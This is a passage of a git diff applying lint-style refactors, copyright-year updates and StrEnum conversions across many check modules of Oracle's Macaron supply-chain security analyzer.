b/src/macaron/slsa_analyzer/build_tool/pyproject.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module provides analysis functions for a pyproject.toml file.""" @@ -59,9 +59,7 @@ def contains_build_tool(tool_name: str, pyproject_path: Path) -> bool: # Check for the existence of a [tool.] section. tools = json_extract(content, ["tool"], dict) - if tools and tool_name in tools: - return True - return False + return bool(tools and tool_name in tools) def build_system_contains_tool(tool_name: str, pyproject_path: Path) -> bool: @@ -90,10 +88,7 @@ def build_system_contains_tool(tool_name: str, pyproject_path: Path) -> bool: return True # Check in 'requires' list. requires = json_extract(content, ["build-system", "requires"], list) - if requires and any(tool_name in req for req in requires): - return True - - return False + return bool(requires and any(tool_name in req for req in requires)) def get_build_system(pyproject_path: Path) -> dict[str, str] | None: diff --git a/src/macaron/slsa_analyzer/build_tool/uv.py b/src/macaron/slsa_analyzer/build_tool/uv.py index b31fd76a6..5a2dd4307 100644 --- a/src/macaron/slsa_analyzer/build_tool/uv.py +++ b/src/macaron/slsa_analyzer/build_tool/uv.py @@ -75,9 +75,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]: file_paths = (file_exists(repo_path, file, filters=self.path_filters) for file in self.build_configs) for config_path in file_paths: if config_path and os.path.basename(config_path) == "pyproject.toml": - if package_lock_exists: - results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None)) - elif pyproject.contains_build_tool("uv", config_path): + if package_lock_exists or pyproject.contains_build_tool("uv", config_path): results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None)) else: for tool in self.build_requires + self.build_backend: @@ -130,7 +128,7 @@ def is_deploy_command( build_cmd = cmd["command"] cmd_program_name = os.path.basename(build_cmd[0]) - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg if cmd_program_name in self.interpreter and len(build_cmd) > 2 and build_cmd[1] in self.interpreter_flag: @@ -170,7 +168,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg if cmd_program_name in self.interpreter and len(build_cmd) > 2 and build_cmd[1] in self.interpreter_flag: diff --git a/src/macaron/slsa_analyzer/build_tool/yarn.py b/src/macaron/slsa_analyzer/build_tool/yarn.py index 36a9660b8..015be01ed 100644 --- a/src/macaron/slsa_analyzer/build_tool/yarn.py +++ b/src/macaron/slsa_analyzer/build_tool/yarn.py @@ -105,7 +105,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes yarn commands use the `run` sub-command: @@ -153,7 +153,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes yarn commands use the `run` sub-command: diff --git a/src/macaron/slsa_analyzer/checks/base_check.py b/src/macaron/slsa_analyzer/checks/base_check.py index 53f857828..d6e4193ed 100644 --- a/src/macaron/slsa_analyzer/checks/base_check.py +++ b/src/macaron/slsa_analyzer/checks/base_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BaseCheck class to be inherited by other concrete Checks.""" @@ -52,7 +52,7 @@ def __init__( self._check_info = CheckInfo( check_id=check_id, check_description=description, - eval_reqs=eval_reqs if eval_reqs else [], + eval_reqs=eval_reqs or [], ) if not depends_on: @@ -128,7 +128,7 @@ def run(self, target: AnalyzeContext, skipped_info: SkippedInfo | None = None) - # refactoring. justification_str = "" for _, ele in check_result_data.justification_report: - justification_str += f"{str(ele)}. " + justification_str += f"{ele!s}. " target.bulk_update_req_status( self.check_info.eval_reqs, diff --git a/src/macaron/slsa_analyzer/checks/build_as_code_check.py b/src/macaron/slsa_analyzer/checks/build_as_code_check.py index bf3693a78..817f084eb 100644 --- a/src/macaron/slsa_analyzer/checks/build_as_code_check.py +++ b/src/macaron/slsa_analyzer/checks/build_as_code_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BuildAsCodeCheck class.""" @@ -39,7 +39,7 @@ class BuildAsCodeFacts(CheckFacts): __tablename__ = "_build_as_code_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The name of the tool used to build. build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -71,7 +71,7 @@ class BuildAsCodeFacts(CheckFacts): #: The command used to deploy. deploy_command: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 https://github.com/astral-sh/ruff/issues/25392 "polymorphic_identity": "_build_as_code_check", } @@ -304,29 +304,28 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # We currently don't parse these CI configuration files. # We just look for a keyword for now. for unparsed_ci in (Travis, CircleCI, GitLabCI): - if isinstance(ci_service, unparsed_ci): - if tool.ci_deploy_kws[ci_service.name]: - deploy_kw, config_name = ci_service.has_kws_in_config( - tool.ci_deploy_kws[ci_service.name], - build_tool_name=tool.name, - repo_path=ctx.component.repository.fs_path, - ) - if not config_name: - break + if isinstance(ci_service, unparsed_ci) and tool.ci_deploy_kws[ci_service.name]: + deploy_kw, config_name = ci_service.has_kws_in_config( + tool.ci_deploy_kws[ci_service.name], + build_tool_name=tool.name, + repo_path=ctx.component.repository.fs_path, + ) + if not config_name: + break - store_inferred_build_info_results( - ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name - ) - result_tables.append( - BuildAsCodeFacts( - build_tool_name=tool.name, - language=tool.language.value, - ci_service_name=ci_service.name, - deploy_command=deploy_kw, - confidence=Confidence.LOW, - ) + store_inferred_build_info_results( + ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name + ) + result_tables.append( + BuildAsCodeFacts( + build_tool_name=tool.name, + language=tool.language.value, + ci_service_name=ci_service.name, + deploy_command=deploy_kw, + confidence=Confidence.LOW, ) - overall_res = CheckResultType.PASSED + ) + overall_res = CheckResultType.PASSED # The check passing is contingent on at least one passing, if # one passes treat whole check as passing. We do still need to diff --git a/src/macaron/slsa_analyzer/checks/build_script_check.py b/src/macaron/slsa_analyzer/checks/build_script_check.py index 76374eed1..ea0663f64 100644 --- a/src/macaron/slsa_analyzer/checks/build_script_check.py +++ b/src/macaron/slsa_analyzer/checks/build_script_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BuildScriptCheck class.""" @@ -29,7 +29,7 @@ class BuildScriptFacts(CheckFacts): __tablename__ = "_build_script_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The name of the tool used to build. build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -63,7 +63,7 @@ class BuildScriptFacts(CheckFacts): String, nullable=True, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_build_script_check", } diff --git a/src/macaron/slsa_analyzer/checks/build_service_check.py b/src/macaron/slsa_analyzer/checks/build_service_check.py index f2439d55a..872709362 100644 --- a/src/macaron/slsa_analyzer/checks/build_service_check.py +++ b/src/macaron/slsa_analyzer/checks/build_service_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BuildServiceCheck class.""" @@ -32,7 +32,7 @@ class BuildServiceFacts(CheckFacts): __tablename__ = "_build_service_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The name of the tool used to build. build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -64,7 +64,7 @@ class BuildServiceFacts(CheckFacts): String, nullable=True, info={"justification": JustificationType.HREF} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_build_service_check", } @@ -169,29 +169,28 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # We currently don't parse these CI configuration files. # We just look for a keyword for now. for unparsed_ci in (Travis, CircleCI, GitLabCI): - if isinstance(ci_service, unparsed_ci): - if tool.ci_build_kws[ci_service.name]: - build_kw, config_name = ci_service.has_kws_in_config( - tool.ci_build_kws[ci_service.name], - build_tool_name=tool.name, - repo_path=ctx.component.repository.fs_path, - ) - if not config_name: - break + if isinstance(ci_service, unparsed_ci) and tool.ci_build_kws[ci_service.name]: + build_kw, config_name = ci_service.has_kws_in_config( + tool.ci_build_kws[ci_service.name], + build_tool_name=tool.name, + repo_path=ctx.component.repository.fs_path, + ) + if not config_name: + break - store_inferred_build_info_results( - ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name - ) - result_tables.append( - BuildServiceFacts( - build_tool_name=tool.name, - language=tool.language.value, - ci_service_name=ci_service.name, - build_command=build_kw, - confidence=Confidence.LOW, - ) + store_inferred_build_info_results( + ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name + ) + result_tables.append( + BuildServiceFacts( + build_tool_name=tool.name, + language=tool.language.value, + ci_service_name=ci_service.name, + build_command=build_kw, + confidence=Confidence.LOW, ) - overall_res = CheckResultType.PASSED + ) + overall_res = CheckResultType.PASSED # The check passing is contingent on at least one passing, if # one passes treat whole check as passing. We do still need to diff --git a/src/macaron/slsa_analyzer/checks/build_tool_check.py b/src/macaron/slsa_analyzer/checks/build_tool_check.py index 66d323399..9fb0087fa 100644 --- a/src/macaron/slsa_analyzer/checks/build_tool_check.py +++ b/src/macaron/slsa_analyzer/checks/build_tool_check.py @@ -24,7 +24,7 @@ class BuildToolFacts(CheckFacts): __tablename__ = "_build_tool_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The language of the artifact built by build tool. language: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -53,7 +53,7 @@ class BuildToolFacts(CheckFacts): String, nullable=True, info={"justification": JustificationType.HREF} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_build_tool_check", } diff --git a/src/macaron/slsa_analyzer/checks/check_result.py b/src/macaron/slsa_analyzer/checks/check_result.py index afedbaf9c..47d8c76c6 100644 --- a/src/macaron/slsa_analyzer/checks/check_result.py +++ b/src/macaron/slsa_analyzer/checks/check_result.py @@ -5,14 +5,14 @@ import json from dataclasses import dataclass -from enum import Enum +from enum import Enum, StrEnum from typing import TypedDict from macaron.database.table_definitions import CheckFacts from macaron.slsa_analyzer.slsa_req import BUILD_REQ_DESC, ReqName -class CheckResultType(str, Enum): +class CheckResultType(StrEnum): """This class contains the types of a check result.""" PASSED = "PASSED" @@ -157,7 +157,7 @@ def get_confidence_level(cls, normalized_score: float) -> "Confidence": return min(cls, key=lambda c: abs(c.value - normalized_score)) -class JustificationType(str, Enum): +class JustificationType(StrEnum): """This class contains the type of a justification that will be used in creating the HTML report.""" #: If a justification has a text type, it will be added as a plain text. @@ -293,7 +293,4 @@ def get_result_as_bool(check_result_type: CheckResultType) -> bool: ------- bool """ - if check_result_type in (CheckResultType.FAILED, CheckResultType.UNKNOWN): - return False - - return True + return check_result_type not in (CheckResultType.FAILED, CheckResultType.UNKNOWN) diff --git a/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py b/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py index 87f4877d8..4d2bfc103 100644 --- a/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py +++ b/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This check examines the metadata of pypi packages with seven heuristics.""" @@ -56,7 +56,7 @@ class MaliciousMetadataFacts(CheckFacts): __tablename__ = "_detect_malicious_metadata_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: Known malware. known_malware: Mapped[str | None] = mapped_column( @@ -71,7 +71,7 @@ class MaliciousMetadataFacts(CheckFacts): DBJsonDict, nullable=False, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_detect_malicious_metadata_check", } @@ -294,10 +294,12 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: for package_registry_info_entry in package_registry_info_entries: match package_registry_info_entry: # Currently, only PyPI packages are supported. - case PackageRegistryInfo( - ecosystem="pypi", - package_registry=PyPIRegistry(), - ) as pypi_registry_info: + case ( + PackageRegistryInfo( + ecosystem="pypi", + package_registry=PyPIRegistry(), + ) as pypi_registry_info + ): # Retrieve the pre-existing asset, or create a new one. pypi_package_json = find_or_create_pypi_asset( ctx.component.name, ctx.component.version, pypi_registry_info @@ -356,9 +358,9 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # Return UNKNOWN result for unsupported ecosystems. return CheckResultData(result_tables=[], result_type=CheckResultType.UNKNOWN) - # This list contains the heuristic analyzer classes - # When implementing new analyzer, appending the classes to this list - analyzers: list = [ + # This list contains the heuristic analyzer classes. When implementing a new analyzer, + # append its classes to this list. + analyzers = ( EmptyProjectLinkAnalyzer, SourceCodeRepoAnalyzer, OneReleaseAnalyzer, @@ -373,9 +375,9 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: SimilarProjectAnalyzer, PackageDescriptionIntentAnalyzer, TypeStubFileAnalyzer, - ] + ) - # name used to query the result of all problog rules, so it can be accessed outside the model. + # Name used to query the result of all problog rules, so it can be accessed outside the model. problog_result_access = "result" malware_rules_problog_model = f""" diff --git a/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py b/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py index 4fb2e92ec..eaae86e36 100644 --- a/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py +++ b/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py @@ -6,7 +6,7 @@ import logging import os import re -from enum import Enum +from enum import StrEnum from sqlalchemy import Boolean, ForeignKey, Integer, String from sqlalchemy.orm import Mapped, mapped_column @@ -40,7 +40,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class GitHubActionsFindingType(str, Enum): +class GitHubActionsFindingType(StrEnum): """Enumeration of finding categories for GitHub Actions vulnerability check facts.""" # Note: finding_type is the subtype within a top-level finding_group. @@ -49,7 +49,7 @@ class GitHubActionsFindingType(str, Enum): UNPINNED_THIRD_PARTY_ACTION = "unpinned-third-party-action" -class GitHubActionsFindingGroup(str, Enum): +class GitHubActionsFindingGroup(StrEnum): """Top-level finding groups for GitHub Actions vulnerability check facts.""" # Note: finding_group is the high-level bucket used for reporting sections. @@ -64,7 +64,7 @@ class GitHubActionsVulnsFacts(CheckFacts): __tablename__ = "_github_actions_vulnerabilities_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The GitHub Action workflow that may have various security issues. caller_workflow: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.HREF}) @@ -118,7 +118,7 @@ class GitHubActionsVulnsFacts(CheckFacts): DBJsonList, nullable=False, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_github_actions_vulnerabilities_check", } @@ -261,7 +261,6 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # If no external GitHub Actions are found, no need to check for known vulnerabilities. if external_workflows: - # We first send a batch query to see which GitHub Actions are potentially vulnerable. # OSV's querybatch returns minimal results but this allows us to only make subsequent # queries to get vulnerability details when needed. diff --git a/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py b/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py index a10d14d57..e6d3d71a3 100644 --- a/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py +++ b/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the InferArtifactPipelineCheck class to check if an artifact is published from a pipeline automatically.""" @@ -31,7 +31,7 @@ class ArtifactPipelineFacts(CheckFacts): __tablename__ = "_artifact_pipeline_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The URL of the workflow file that triggered deploy. deploy_workflow: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) @@ -60,7 +60,7 @@ class ArtifactPipelineFacts(CheckFacts): Boolean, nullable=False, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_infer_artifact_pipeline_check", } diff --git a/src/macaron/slsa_analyzer/checks/license_check.py b/src/macaron/slsa_analyzer/checks/license_check.py index a5d26f2c8..d3dfb1ae4 100644 --- a/src/macaron/slsa_analyzer/checks/license_check.py +++ b/src/macaron/slsa_analyzer/checks/license_check.py @@ -63,7 +63,7 @@ class LicenseFacts(CheckFacts): __tablename__ = "_license_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The SPDX identifier of the detected license (e.g. ``MIT``). spdx_id: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) @@ -77,7 +77,7 @@ class LicenseFacts(CheckFacts): #: The URL to the license file on GitHub. license_url: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_license_check", } diff --git a/src/macaron/slsa_analyzer/checks/provenance_available_check.py b/src/macaron/slsa_analyzer/checks/provenance_available_check.py index edcf070ce..f7ab24581 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_available_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_available_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the implementation of the Provenance Available check.""" @@ -20,7 +20,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class ProvenanceAvailableException(MacaronError): +class ProvenanceAvailableError(MacaronError): """When there is an error while checking if a provenance is available.""" @@ -30,7 +30,7 @@ class ProvenanceAvailableFacts(CheckFacts): __tablename__ = "_provenance_available_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The provenance asset name. asset_name: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) @@ -38,7 +38,7 @@ class ProvenanceAvailableFacts(CheckFacts): #: The URL for the provenance asset. asset_url: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_provenance_available_check", } diff --git a/src/macaron/slsa_analyzer/checks/provenance_commit_check.py b/src/macaron/slsa_analyzer/checks/provenance_commit_check.py index 7e271ffea..1dd750d74 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_commit_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_commit_check.py @@ -24,12 +24,12 @@ class ProvenanceDerivedCommitFacts(CheckFacts): __tablename__ = "_provenance_derived_commit_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The state of the commit. commit_info: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": __tablename__, } diff --git a/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py b/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py index b7bc93c23..7c3d550d1 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module checks if a SLSA provenance conforms to a given expectation.""" @@ -77,9 +77,11 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # Check the provenances in package registries. for package_registry_info_entry in package_registry_info_entries: match package_registry_info_entry: - case PackageRegistryInfo( - package_registry=JFrogMavenRegistry(), - ) as info_entry: + case ( + PackageRegistryInfo( + package_registry=JFrogMavenRegistry(), + ) as info_entry + ): for provenance in info_entry.provenances: try: logger.info( diff --git a/src/macaron/slsa_analyzer/checks/provenance_repo_check.py b/src/macaron/slsa_analyzer/checks/provenance_repo_check.py index e1260d76c..2e051edae 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_repo_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_repo_check.py @@ -28,12 +28,12 @@ class ProvenanceDerivedRepoFacts(CheckFacts): # pylint: disable=unsubscriptable-object #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The state of the repository. repository_info: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": __tablename__, } diff --git a/src/macaron/slsa_analyzer/checks/provenance_verified_check.py b/src/macaron/slsa_analyzer/checks/provenance_verified_check.py index 46ac145e7..9d3dc96a7 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_verified_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_verified_check.py @@ -25,7 +25,7 @@ class ProvenanceVerifiedFacts(CheckFacts): __tablename__ = "_provenance_verified_check" # The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # The SLSA build level of the provenance. build_level: Mapped[int] @@ -33,7 +33,7 @@ class ProvenanceVerifiedFacts(CheckFacts): # The build type of the provenance. build_type: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": __tablename__, } diff --git a/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py b/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py index c1eaff4e6..147fd9c89 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This check examines a witness provenance (https://github.com/testifysec/witness).""" @@ -28,7 +28,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class WitnessProvenanceException(MacaronError): +class WitnessProvenanceError(MacaronError): """When there is an error while processing a Witness provenance.""" @@ -38,7 +38,7 @@ class WitnessProvenanceAvailableFacts(CheckFacts): __tablename__ = "_provenance_witness_l1_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The provenance asset name. provenance_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -49,7 +49,7 @@ class WitnessProvenanceAvailableFacts(CheckFacts): #: The URL for the artifact asset. artifact_url: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_provenance_witness_l1_check", } @@ -74,7 +74,7 @@ def verify_artifact_assets( Raises ------ - WitnessProvenanceException + WitnessProvenanceError If a subject is not a file attested by the Witness product attestor. """ # A look-up table to verify: @@ -84,9 +84,7 @@ def verify_artifact_assets( for subject in subjects: if not subject["name"].startswith("https://witness.dev/attestations/product/v0.1/file:"): - raise WitnessProvenanceException( - f"{subject['name']} is not a file attested by the Witness product attestor." - ) + raise WitnessProvenanceError(f"{subject['name']} is not a file attested by the Witness product attestor.") # Get the artifact name, which should be the last part of the artifact subject value. _, _, artifact_filename = subject["name"].rpartition("/") @@ -188,7 +186,7 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: try: verify_status = verify_artifact_assets(artifact_assets, subjects) - except WitnessProvenanceException as err: + except WitnessProvenanceError as err: logger.error(err) return CheckResultData( result_tables=result_tables, diff --git a/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py b/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py index 0da3eb3bb..066c6ca69 100644 --- a/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py +++ b/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """A check to determine whether the source repository of a package can be independently verified.""" @@ -28,7 +28,7 @@ class ScmAuthenticityFacts(CheckFacts): __tablename__ = "_scm_authenticity_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: Repository link identified by Macaron's repo finder. repo_link: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) @@ -52,7 +52,7 @@ class ScmAuthenticityFacts(CheckFacts): #: The build tool used to build the package. build_tool: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": __tablename__, } diff --git a/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py b/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py index f6ef41014..e1e4878b1 100644 --- a/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py +++ b/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal 